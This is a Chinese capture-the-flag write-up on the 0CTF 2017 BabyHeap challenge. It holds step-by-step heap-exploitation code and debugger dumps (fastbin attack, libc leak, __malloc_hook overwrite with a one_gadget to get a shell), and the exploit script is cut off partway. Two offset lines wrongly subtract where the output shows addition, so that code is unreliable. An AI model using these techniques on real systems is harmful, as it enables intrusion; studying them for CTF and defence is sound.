6.1.10 pwn 0CTF2017 BabyHeap2017

下载文件

题目复现

这个题目给出了二进制文件。在 Ubuntu 16.04 上,libc 就用自带的。

  1. $ file babyheap
  2. babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
  3. $ checksec -f babyheap
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 babyheap
  6. $ file /lib/x86_64-linux-gnu/libc-2.23.so
  7. /lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped

64 位程序,保护全开。

把它运行起来:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &

一个典型的堆利用题目:

  1. $ ./babyheap
  2. ===== Baby Heap in 2017 =====
  3. 1. Allocate
  4. 2. Fill
  5. 3. Free
  6. 4. Dump
  7. 5. Exit
  8. Command: 1 // 分配一个指定大小的 chunk
  9. Size: 5
  10. Allocate Index 0
  11. 1. Allocate
  12. 2. Fill
  13. 3. Free
  14. 4. Dump
  15. 5. Exit
  16. Command: 2 // 将指定大小数据放进 chunk,但似乎没有进行边界检查,导致溢出
  17. Index: 0
  18. Size: 10
  19. Content: aaaaaaaaaa // 10个a
  20. 1. Allocate
  21. 2. Fill
  22. 3. Free
  23. 4. Dump
  24. 5. Exit
  25. Command: 1. Allocate // 似乎触发了什么 bug,如果是9个a就没事
  26. 2. Fill
  27. 3. Free
  28. 4. Dump
  29. 5. Exit
  30. Command: 4 // 打印出 chunk 的内容,长度是新建时的长度,而不是放入数据的长度
  31. Index: 0
  32. Content:
  33. aaaaa
  34. 1. Allocate
  35. 2. Fill
  36. 3. Free
  37. 4. Dump
  38. 5. Exit
  39. Command: 3 // 释放 chunk
  40. Index: 0
  41. 1. Allocate
  42. 2. Fill
  43. 3. Free
  44. 4. Dump
  45. 5. Exit
  46. Command: 5

题目解析

根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞,但并没有发现 UAF 漏洞,所以要想泄露出 libc 基址,得利用 Dump 操作。另外内存分配使用了 calloc 函数,这个函数与 malloc 的区别是,calloc 会将分配的内存空间每一位都初始化为 0,所以也不能通过分配和释放几个小 chunk,再分配一个大 chunk,来泄露其内容。

怎么利用 Dump 操作呢?如果能使两个 chunk 相重叠,Free 一个,Dump 另一个,或许可行。

漏洞利用

leak libc

还是一样的,为了方便调试,先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk,其实填充数据对漏洞利用是没有意义的,这里只是为了方便观察:

  1. alloc(0x10)
  2. alloc(0x10)
  3. alloc(0x10)
  4. alloc(0x10)
  5. alloc(0x80)
  6. fill(0, "A"*16)
  7. fill(1, "A"*16)
  8. fill(2, "A"*16)
  9. fill(3, "A"*16)
  10. fill(4, "A"*128)
  1. gef x/40gx 0x0000555555757010-0x10
  2. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  3. 0x555555757010: 0x4141414141414141 0x4141414141414141
  4. 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1
  5. 0x555555757030: 0x4141414141414141 0x4141414141414141
  6. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2
  7. 0x555555757050: 0x4141414141414141 0x4141414141414141
  8. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  9. 0x555555757070: 0x4141414141414141 0x4141414141414141
  10. 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
  11. 0x555555757090: 0x4141414141414141 0x4141414141414141
  12. 0x5555557570a0: 0x4141414141414141 0x4141414141414141
  13. 0x5555557570b0: 0x4141414141414141 0x4141414141414141
  14. 0x5555557570c0: 0x4141414141414141 0x4141414141414141
  15. 0x5555557570d0: 0x4141414141414141 0x4141414141414141
  16. 0x5555557570e0: 0x4141414141414141 0x4141414141414141
  17. 0x5555557570f0: 0x4141414141414141 0x4141414141414141
  18. 0x555555757100: 0x4141414141414141 0x4141414141414141
  19. 0x555555757110: 0x0000000000000000 0x0000000000020ef1 <-- top chunk
  20. 0x555555757120: 0x0000000000000000 0x0000000000000000
  21. 0x555555757130: 0x0000000000000000 0x0000000000000000
  22. gef x/20gx 0xafc966564d0-0x10
  23. 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
  24. 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> chunk 1
  25. 0xafc966564e0: 0x0000000000000010 0x0000555555757030
  26. 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> chunk 2
  27. 0xafc96656500: 0x0000555555757050 0x0000000000000001 <-- idx 3 -> chunk 3
  28. 0xafc96656510: 0x0000000000000010 0x0000555555757070
  29. 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
  30. 0xafc96656530: 0x0000555555757090 0x0000000000000000
  31. 0xafc96656540: 0x0000000000000000 0x0000000000000000
  32. 0xafc96656550: 0x0000000000000000 0x0000000000000000

另外我们看到,chunk 的序号被存储到一个 mmap 分配出来的结构体中,包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk,然后各种操作的。

free 掉两个 fast chunk,这样 chunk 2 的 fd 指针会被指向 chunk 1:

  1. free(1)
  2. free(2)
  1. gef x/2gx &main_arena
  2. 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
  3. gef heap bins fast
  4. [ Fastbins for arena 0x7ffff7dd1b20 ]
  5. Fastbins[idx=0, size=0x10] Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
  6. gef x/40gx 0x0000555555757010-0x10
  7. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  8. 0x555555757010: 0x4141414141414141 0x4141414141414141
  9. 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
  10. 0x555555757030: 0x0000000000000000 0x4141414141414141
  11. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
  12. 0x555555757050: 0x0000555555757020 0x4141414141414141 <-- fd pointer
  13. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  14. 0x555555757070: 0x4141414141414141 0x4141414141414141
  15. 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
  16. 0x555555757090: 0x4141414141414141 0x4141414141414141
  17. 0x5555557570a0: 0x4141414141414141 0x4141414141414141
  18. 0x5555557570b0: 0x4141414141414141 0x4141414141414141
  19. 0x5555557570c0: 0x4141414141414141 0x4141414141414141
  20. 0x5555557570d0: 0x4141414141414141 0x4141414141414141
  21. 0x5555557570e0: 0x4141414141414141 0x4141414141414141
  22. 0x5555557570f0: 0x4141414141414141 0x4141414141414141
  23. 0x555555757100: 0x4141414141414141 0x4141414141414141
  24. 0x555555757110: 0x0000000000000000 0x0000000000020ef1
  25. 0x555555757120: 0x0000000000000000 0x0000000000000000
  26. 0x555555757130: 0x0000000000000000 0x0000000000000000
  27. gef x/20gx 0xafc966564d0-0x10
  28. 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
  29. 0xafc966564d0: 0x0000555555757010 0x0000000000000000
  30. 0xafc966564e0: 0x0000000000000000 0x0000000000000000
  31. 0xafc966564f0: 0x0000000000000000 0x0000000000000000
  32. 0xafc96656500: 0x0000000000000000 0x0000000000000001 <-- idx 3 -> chunk 3
  33. 0xafc96656510: 0x0000000000000010 0x0000555555757070
  34. 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
  35. 0xafc96656530: 0x0000555555757090 0x0000000000000000
  36. 0xafc96656540: 0x0000000000000000 0x0000000000000000
  37. 0xafc96656550: 0x0000000000000000 0x0000000000000000

free 掉的 chunk,其结构体被清空,等待下一次 malloc,并添加到空出来的地方。

通过溢出漏洞修改已被释放的 chunk 2,让 fd 指针指向 chunk 4,这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查:

  1. payload = "A"*16
  2. payload += p64(0)
  3. payload += p64(0x21)
  4. payload += p64(0)
  5. payload += "A"*8
  6. payload += p64(0)
  7. payload += p64(0x21)
  8. payload += p8(0x80)
  9. fill(0, payload)
  10. payload = "A"*16
  11. payload += p64(0)
  12. payload += p64(0x21)
  13. fill(3, payload)
  1. gef x/2gx &main_arena
  2. 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
  3. gef heap bins fast
  4. [ Fastbins for arena 0x7ffff7dd1b20 ]
  5. Fastbins[idx=0, size=0x10] Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) [Corrupted chunk at 0x4141414141414151]
  6. gef x/40gx 0x0000555555757010-0x10
  7. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  8. 0x555555757010: 0x4141414141414141 0x4141414141414141
  9. 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
  10. 0x555555757030: 0x0000000000000000 0x4141414141414141
  11. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
  12. 0x555555757050: 0x0000555555757080 0x4141414141414141 <-- fd pointer
  13. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  14. 0x555555757070: 0x4141414141414141 0x4141414141414141
  15. 0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4
  16. 0x555555757090: 0x4141414141414141 0x4141414141414141
  17. 0x5555557570a0: 0x4141414141414141 0x4141414141414141
  18. 0x5555557570b0: 0x4141414141414141 0x4141414141414141
  19. 0x5555557570c0: 0x4141414141414141 0x4141414141414141
  20. 0x5555557570d0: 0x4141414141414141 0x4141414141414141
  21. 0x5555557570e0: 0x4141414141414141 0x4141414141414141
  22. 0x5555557570f0: 0x4141414141414141 0x4141414141414141
  23. 0x555555757100: 0x4141414141414141 0x4141414141414141
  24. 0x555555757110: 0x0000000000000000 0x0000000000020ef1
  25. 0x555555757120: 0x0000000000000000 0x0000000000000000
  26. 0x555555757130: 0x0000000000000000 0x0000000000000000

现在我们再分配两个 chunk,它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk,而后者是 small chunk,即一个大 chunk 里包含了一个小 chunk,这正是我们需要的:

  1. alloc(0x10)
  2. alloc(0x10)
  3. fill(1, "B"*16)
  4. fill(2, "C"*16)
  5. fill(4, "D"*16)
  1. gef x/2gx &main_arena
  2. 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
  3. gef x/40gx 0x0000555555757010-0x10
  4. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  5. 0x555555757010: 0x4141414141414141 0x4141414141414141
  6. 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
  7. 0x555555757030: 0x0000000000000000 0x4141414141414141
  8. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
  9. 0x555555757050: 0x4242424242424242 0x4242424242424242
  10. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  11. 0x555555757070: 0x4141414141414141 0x4141414141414141
  12. 0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4, new chunk 2
  13. 0x555555757090: 0x4444444444444444 0x4444444444444444
  14. 0x5555557570a0: 0x0000000000000000 0x4141414141414141
  15. 0x5555557570b0: 0x4141414141414141 0x4141414141414141
  16. 0x5555557570c0: 0x4141414141414141 0x4141414141414141
  17. 0x5555557570d0: 0x4141414141414141 0x4141414141414141
  18. 0x5555557570e0: 0x4141414141414141 0x4141414141414141
  19. 0x5555557570f0: 0x4141414141414141 0x4141414141414141
  20. 0x555555757100: 0x4141414141414141 0x4141414141414141
  21. 0x555555757110: 0x0000000000000000 0x0000000000020ef1
  22. 0x555555757120: 0x0000000000000000 0x0000000000000000
  23. 0x555555757130: 0x0000000000000000 0x0000000000000000
  24. gef x/20gx 0xafc966564d0-0x10
  25. 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
  26. 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
  27. 0xafc966564e0: 0x0000000000000010 0x0000555555757050
  28. 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
  29. 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
  30. 0xafc96656510: 0x0000000000000010 0x0000555555757070
  31. 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
  32. 0xafc96656530: 0x0000555555757090 0x0000000000000000
  33. 0xafc96656540: 0x0000000000000000 0x0000000000000000
  34. 0xafc96656550: 0x0000000000000000 0x0000000000000000

可以看到新分配的 chunk 2,填补到了被释放的 chunk 2 的位置上。

再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91,然后为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk:

  1. payload = "A"*16
  2. payload += p64(0)
  3. payload += p64(0x91)
  4. fill(3, payload)
  5. alloc(0x80)
  6. fill(5, "A"*128)
  1. gef x/60gx 0x0000555555757010-0x10
  2. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  3. 0x555555757010: 0x4141414141414141 0x4141414141414141
  4. 0x555555757020: 0x0000000000000000 0x0000000000000021
  5. 0x555555757030: 0x0000000000000000 0x4141414141414141
  6. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
  7. 0x555555757050: 0x4242424242424242 0x4242424242424242
  8. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  9. 0x555555757070: 0x4141414141414141 0x4141414141414141
  10. 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4, new chunk 2
  11. 0x555555757090: 0x4444444444444444 0x4444444444444444
  12. 0x5555557570a0: 0x0000000000000000 0x4141414141414141
  13. 0x5555557570b0: 0x4141414141414141 0x4141414141414141
  14. 0x5555557570c0: 0x4141414141414141 0x4141414141414141
  15. 0x5555557570d0: 0x4141414141414141 0x4141414141414141
  16. 0x5555557570e0: 0x4141414141414141 0x4141414141414141
  17. 0x5555557570f0: 0x4141414141414141 0x4141414141414141
  18. 0x555555757100: 0x4141414141414141 0x4141414141414141
  19. 0x555555757110: 0x0000000000000000 0x0000000000000091 <-- chunk 5
  20. 0x555555757120: 0x4141414141414141 0x4141414141414141
  21. 0x555555757130: 0x4141414141414141 0x4141414141414141
  22. 0x555555757140: 0x4141414141414141 0x4141414141414141
  23. 0x555555757150: 0x4141414141414141 0x4141414141414141
  24. 0x555555757160: 0x4141414141414141 0x4141414141414141
  25. 0x555555757170: 0x4141414141414141 0x4141414141414141
  26. 0x555555757180: 0x4141414141414141 0x4141414141414141
  27. 0x555555757190: 0x4141414141414141 0x4141414141414141
  28. 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 <-- top chunk
  29. 0x5555557571b0: 0x0000000000000000 0x0000000000000000
  30. 0x5555557571c0: 0x0000000000000000 0x0000000000000000
  31. 0x5555557571d0: 0x0000000000000000 0x0000000000000000
  32. gef x/20gx 0xafc966564d0-0x10
  33. 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
  34. 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
  35. 0xafc966564e0: 0x0000000000000010 0x0000555555757050
  36. 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
  37. 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
  38. 0xafc96656510: 0x0000000000000010 0x0000555555757070
  39. 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
  40. 0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
  41. 0xafc96656540: 0x0000000000000080 0x0000555555757120
  42. 0xafc96656550: 0x0000000000000000 0x0000000000000000

这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址:

  1. free(4)
  1. gef heap bins unsorted
  2. [ Unsorted Bin for arena 'main_arena' ]
  3. [+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
  4. Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE)
  5. gef x/60gx 0x0000555555757010-0x10
  6. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  7. 0x555555757010: 0x4141414141414141 0x4141414141414141
  8. 0x555555757020: 0x0000000000000000 0x0000000000000021
  9. 0x555555757030: 0x0000000000000000 0x4141414141414141
  10. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
  11. 0x555555757050: 0x4242424242424242 0x4242424242424242
  12. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  13. 0x555555757070: 0x4141414141414141 0x4141414141414141
  14. 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin
  15. 0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  16. 0x5555557570a0: 0x0000000000000000 0x4141414141414141
  17. 0x5555557570b0: 0x4141414141414141 0x4141414141414141
  18. 0x5555557570c0: 0x4141414141414141 0x4141414141414141
  19. 0x5555557570d0: 0x4141414141414141 0x4141414141414141
  20. 0x5555557570e0: 0x4141414141414141 0x4141414141414141
  21. 0x5555557570f0: 0x4141414141414141 0x4141414141414141
  22. 0x555555757100: 0x4141414141414141 0x4141414141414141
  23. 0x555555757110: 0x0000000000000090 0x0000000000000090 <-- chunk 5
  24. 0x555555757120: 0x4141414141414141 0x4141414141414141
  25. 0x555555757130: 0x4141414141414141 0x4141414141414141
  26. 0x555555757140: 0x4141414141414141 0x4141414141414141
  27. 0x555555757150: 0x4141414141414141 0x4141414141414141
  28. 0x555555757160: 0x4141414141414141 0x4141414141414141
  29. 0x555555757170: 0x4141414141414141 0x4141414141414141
  30. 0x555555757180: 0x4141414141414141 0x4141414141414141
  31. 0x555555757190: 0x4141414141414141 0x4141414141414141
  32. 0x5555557571a0: 0x0000000000000000 0x0000000000020e61
  33. 0x5555557571b0: 0x0000000000000000 0x0000000000000000
  34. 0x5555557571c0: 0x0000000000000000 0x0000000000000000
  35. 0x5555557571d0: 0x0000000000000000 0x0000000000000000
  36. gef x/20gx 0xafc966564d0-0x10
  37. 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
  38. 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
  39. 0xafc966564e0: 0x0000000000000010 0x0000555555757050
  40. 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
  41. 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
  42. 0xafc96656510: 0x0000000000000010 0x0000555555757070
  43. 0xafc96656520: 0x0000000000000000 0x0000000000000000
  44. 0xafc96656530: 0x0000000000000000 0x0000000000000001 <-- idx 5 -> chunk 5
  45. 0xafc96656540: 0x0000000000000080 0x0000555555757120
  46. 0xafc96656550: 0x0000000000000000 0x0000000000000000

最后利用 Dump 操作即可将地址泄漏出来:

  1. leak = u64(dump(2)[:8])
  2. libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
  3. __malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
  4. one_gadget = libc - 0x4526a
  1. [*] leak => 0x7ffff7dd1b78
  2. [*] libc => 0x7ffff7a0d000
  3. [*] __malloc_hook => 0x7ffff7dd1b10
  4. [*] one_gadget => 0x7ffff7a5226a

get shell

由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 __malloc_hook,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller),当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。

首先考虑怎样利用 fastbins 在 __malloc_hook 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk,其大小为 0x7f,也就是一个 fast chunk:

  1. gef x/10gx (long long)(&main_arena)-0x30
  2. 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
  3. 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
  4. 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
  5. 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141 <-- target
  6. 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
  7. gef x/10gx (long long)(&main_arena)-0x30+0xd
  8. 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f <-- fake chunk
  9. 0x7ffff7dd1b0d: 0x000000000000007f 0x0000000000000000
  10. 0x7ffff7dd1b1d: 0x0000000000000000 0x4141414141000000
  11. 0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000
  12. 0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000

用本地的泄露地址减去 libc 地址得到偏移:

  1. [0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
  2. 0x3c4b78

之前 free 掉的 chunk 4 一个 small chunk,被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk,所以这里采用分配一个 fast chunk,再释放掉的办法,将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk(当然也要通过 libc 偏移计算出来):

  1. alloc(0x60)
  2. free(4)
  3. payload = p64(libc + 0x3c4afd)
  4. fill(2, payload)
  1. gef heap bins unsorted
  2. [ Unsorted Bin for arena 'main_arena' ]
  3. [+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
  4. Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE)
  5. gef x/60gx 0x0000555555757010-0x10
  6. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  7. 0x555555757010: 0x4141414141414141 0x4141414141414141
  8. 0x555555757020: 0x0000000000000000 0x0000000000000021
  9. 0x555555757030: 0x0000000000000000 0x4141414141414141
  10. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
  11. 0x555555757050: 0x4242424242424242 0x4242424242424242
  12. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  13. 0x555555757070: 0x4141414141414141 0x4141414141414141
  14. 0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new chunk 4 [be freed]
  15. 0x555555757090: 0x00007ffff7dd1afd 0x0000000000000000 <-- fd pointer
  16. 0x5555557570a0: 0x0000000000000000 0x0000000000000000
  17. 0x5555557570b0: 0x0000000000000000 0x0000000000000000
  18. 0x5555557570c0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557570d0: 0x0000000000000000 0x0000000000000000
  20. 0x5555557570e0: 0x0000000000000000 0x0000000000000000
  21. 0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
  22. 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  23. 0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
  24. 0x555555757120: 0x4141414141414141 0x4141414141414141
  25. 0x555555757130: 0x4141414141414141 0x4141414141414141
  26. 0x555555757140: 0x4141414141414141 0x4141414141414141
  27. 0x555555757150: 0x4141414141414141 0x4141414141414141
  28. 0x555555757160: 0x4141414141414141 0x4141414141414141
  29. 0x555555757170: 0x4141414141414141 0x4141414141414141
  30. 0x555555757180: 0x4141414141414141 0x4141414141414141
  31. 0x555555757190: 0x4141414141414141 0x4141414141414141
  32. 0x5555557571a0: 0x0000000000000000 0x0000000000020e61
  33. 0x5555557571b0: 0x0000000000000000 0x0000000000000000
  34. 0x5555557571c0: 0x0000000000000000 0x0000000000000000
  35. 0x5555557571d0: 0x0000000000000000 0x0000000000000000

连续两次分配,第一次将 fake chunk 添加到 fast bins,第二次分配 fake chunk,分别是 new new chunk 4 和 chunk 6。然后就可以改写 __malloc_hook 的地址,将其指向 one-gadget:

  1. alloc(0x60)
  2. alloc(0x60)
  3. payload = p8(0)*3
  4. payload += p64(one_gadget)
  5. fill(6, payload)
  1. gef x/10gx (long long)(&main_arena)-0x30
  2. 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
  3. 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00
  4. 0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a 0x0000000000000000 <-- target
  5. 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
  6. 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
  7. gef x/60gx 0x0000555555757010-0x10
  8. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
  9. 0x555555757010: 0x4141414141414141 0x4141414141414141
  10. 0x555555757020: 0x0000000000000000 0x0000000000000021
  11. 0x555555757030: 0x0000000000000000 0x4141414141414141
  12. 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
  13. 0x555555757050: 0x4242424242424242 0x4242424242424242
  14. 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
  15. 0x555555757070: 0x4141414141414141 0x4141414141414141
  16. 0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new new chunk 4
  17. 0x555555757090: 0x0000000000000000 0x0000000000000000
  18. 0x5555557570a0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557570b0: 0x0000000000000000 0x0000000000000000
  20. 0x5555557570c0: 0x0000000000000000 0x0000000000000000
  21. 0x5555557570d0: 0x0000000000000000 0x0000000000000000
  22. 0x5555557570e0: 0x0000000000000000 0x0000000000000000
  23. 0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
  24. 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  25. 0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
  26. 0x555555757120: 0x4141414141414141 0x4141414141414141
  27. 0x555555757130: 0x4141414141414141 0x4141414141414141
  28. 0x555555757140: 0x4141414141414141 0x4141414141414141
  29. 0x555555757150: 0x4141414141414141 0x4141414141414141
  30. 0x555555757160: 0x4141414141414141 0x4141414141414141
  31. 0x555555757170: 0x4141414141414141 0x4141414141414141
  32. 0x555555757180: 0x4141414141414141 0x4141414141414141
  33. 0x555555757190: 0x4141414141414141 0x4141414141414141
  34. 0x5555557571a0: 0x0000000000000000 0x0000000000020e61
  35. 0x5555557571b0: 0x0000000000000000 0x0000000000000000
  36. 0x5555557571c0: 0x0000000000000000 0x0000000000000000
  37. 0x5555557571d0: 0x0000000000000000 0x0000000000000000
  38. gef x/30gx 0xafc966564d0-0x10
  39. 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
  40. 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
  41. 0xafc966564e0: 0x0000000000000010 0x0000555555757050
  42. 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
  43. 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
  44. 0xafc96656510: 0x0000000000000010 0x0000555555757070
  45. 0xafc96656520: 0x0000000000000001 0x0000000000000060 <-- idx 4 -> new new chunk4
  46. 0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
  47. 0xafc96656540: 0x0000000000000080 0x0000555555757120
  48. 0xafc96656550: 0x0000000000000001 0x0000000000000060 <-- idx 6 -> chunk 6
  49. 0xafc96656560: 0x00007ffff7dd1b0d 0x0000000000000000
  50. 0xafc96656570: 0x0000000000000000 0x0000000000000000
  51. 0xafc96656580: 0x0000000000000000 0x0000000000000000
  52. 0xafc96656590: 0x0000000000000000 0x0000000000000000
  53. 0xafc966565a0: 0x0000000000000000 0x0000000000000000

最后,只要调用了 malloc,就会触发 hook 函数,即 one-gadget。现在可以开启 ASLR 了,因为通过泄漏 libc 地址,我们已经完全绕过了它。

Bingo!!!

  1. $ python exp.py
  2. [+] Opening connection to 127.0.0.1 on port 10001: Done
  3. [*] leak => 0x7f8c1be9eb78
  4. [*] libc => 0x7f8c1bada000
  5. [*] __malloc_hook => 0x7f8c1be9eb10
  6. [*] one_gadget => 0x7f8c1bb1f26a
  7. [*] Switching to interactive mode
  8. $ whoami
  9. firmy

本题多次使用 fastbin attack,确实经典。

exploit

完整的 exp 如下:

  1. from pwn import *
  2. io = remote('127.0.0.1', 10001)
  3. def alloc(size):
  4. io.recvuntil("Command: ")
  5. io.sendline('1')
  6. io.recvuntil("Size: ")
  7. io.sendline(str(size))
  8. def fill(idx, cont):
